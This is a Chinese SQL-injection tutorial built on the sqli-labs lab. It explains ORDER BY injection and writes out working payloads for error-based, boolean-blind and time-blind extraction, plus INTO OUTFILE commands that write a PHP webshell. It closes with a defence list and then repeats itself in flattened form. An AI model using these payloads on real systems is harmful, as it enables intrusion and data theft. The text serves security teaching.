利用sqli-labs了解order by 注入
字数 978 2025-08-10 20:57:57

Order By 注入技术详解

一、Order By 注入背景

Order By 注入是一种特殊的SQL注入技术,主要出现在SQL查询中的ORDER BY子句。根据参数类型可分为:

  1. 数字型 Order By 注入select * from users order by $id
  2. 字符型 Order By 注入select * from users order by '$id'

二、数字型 Order By 注入判断方法

1. 排序判断法

  • ?sort=1 desc?sort=1 asc 返回不同排序结果

2. 随机数判断法

  • ?sort=rand(true)?sort=rand(false) 返回不同排序结果

3. 延时判断法

  • ?sort=sleep(3) 等待3*行数秒才会显示结果

三、Order By 与 UNION 联合使用

注意:UNION在没有括号的情况下只能使用一个ORDER BY

方法一:统一排序

select * from u1 union select * from u2 order by score asc

方法二:分别排序后联合

select * from (select * from u1 order by score asc)u3 
union 
select * from (select * from u2 order by score asc)u4

UNION与UNION ALL区别

  • UNION会过滤重复行
  • UNION ALL不会过滤重复行

四、数字型 Order By 注入利用方式

1. 报错注入(需开启错误提示)

(1) floor报错注入

?sort=(select count(*) from users group by concat((select user()),0x7e,floor(rand(0)*2)))

(2) procedure analyse注入

?sort=1 procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)

(3) updatexml报错注入

?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

(4) extractvalue报错注入

?sort=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

2. 布尔盲注

(1) 长度判断

?sort=rand(length(user())>13)--+  //返回正常界面
?sort=rand(length(user())>14)--+  //返回不同界面

(2) 字符判断

?sort=rand(substr(user(),1,1)='r')--+
?sort=rand(left(user(),1)='r')--+
?sort=rand(ascii(substr(user(),1,1))=114)--+

3. 时间盲注

?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

五、INTO OUTFILE 利用

前提条件

  1. 具有数据库root权限
  2. secure_file_priv=""(默认为null)
  3. 知道网站绝对路径

1. 基本测试

?sort=1 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\test.txt"

2. 写入Webshell方法

(1) lines terminated by

?sort=1 into outfile "D:\\path\\test222.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

(2) lines starting by

?sort=1 into outfile "D:\\path\\test333.php" lines starting by 0x3c3f70687020706870696e666f28293b3f3e

(3) fields terminated by

?sort=1 into outfile "D:\\path\\test444.php" fields terminated by 0x3c3f70687020706870696e666f28293b3f3e

(4) COLUMNS terminated by

?sort=1 into outfile "D:\\path\\test555.php" COLUMNS terminated by 0x3c3f70687020706870696e666f28293b3f3e

六、字符型 Order By 注入

1. 判断语句

?sort=1'--+

2. 利用方式

(1) 报错注入

?sort=1' and (select count(*) from users group by concat((select user()),0x7e,floor(rand(0)*2)))--+

(2) 时间盲注

?sort=1' and if(length(user())>1,sleep(0.1),0)--+
?sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+
?sort=1' and if(ascii(substr(user(),1,1))=114,sleep(0.1),0)--+

七、防御建议

  1. 使用参数化查询或预编译语句
  2. 对输入参数进行严格过滤和类型检查
  3. 设置数据库权限最小化原则
  4. 关闭错误信息显示
  5. 配置secure_file_priv限制文件导出
Order By 注入技术详解 一、Order By 注入背景 Order By 注入是一种特殊的SQL注入技术,主要出现在SQL查询中的ORDER BY子句。根据参数类型可分为: 数字型 Order By 注入 : select * from users order by $id 字符型 Order By 注入 : select * from users order by '$id' 二、数字型 Order By 注入判断方法 1. 排序判断法 ?sort=1 desc 与 ?sort=1 asc 返回不同排序结果 2. 随机数判断法 ?sort=rand(true) 与 ?sort=rand(false) 返回不同排序结果 3. 延时判断法 ?sort=sleep(3) 等待3* 行数秒才会显示结果 三、Order By 与 UNION 联合使用 注意 :UNION在没有括号的情况下只能使用一个ORDER BY 方法一:统一排序 方法二:分别排序后联合 UNION与UNION ALL区别 : UNION会过滤重复行 UNION ALL不会过滤重复行 四、数字型 Order By 注入利用方式 1. 报错注入(需开启错误提示) (1) floor报错注入 (2) procedure analyse注入 (3) updatexml报错注入 (4) extractvalue报错注入 2. 布尔盲注 (1) 长度判断 (2) 字符判断 3. 时间盲注 五、INTO OUTFILE 利用 前提条件 : 具有数据库root权限 secure_ file_ priv=""(默认为null) 知道网站绝对路径 1. 基本测试 2. 写入Webshell方法 (1) lines terminated by (2) lines starting by (3) fields terminated by (4) COLUMNS terminated by 六、字符型 Order By 注入 1. 判断语句 2. 利用方式 (1) 报错注入 (2) 时间盲注 七、防御建议 使用参数化查询或预编译语句 对输入参数进行严格过滤和类型检查 设置数据库权限最小化原则 关闭错误信息显示 配置secure_ file_ priv限制文件导出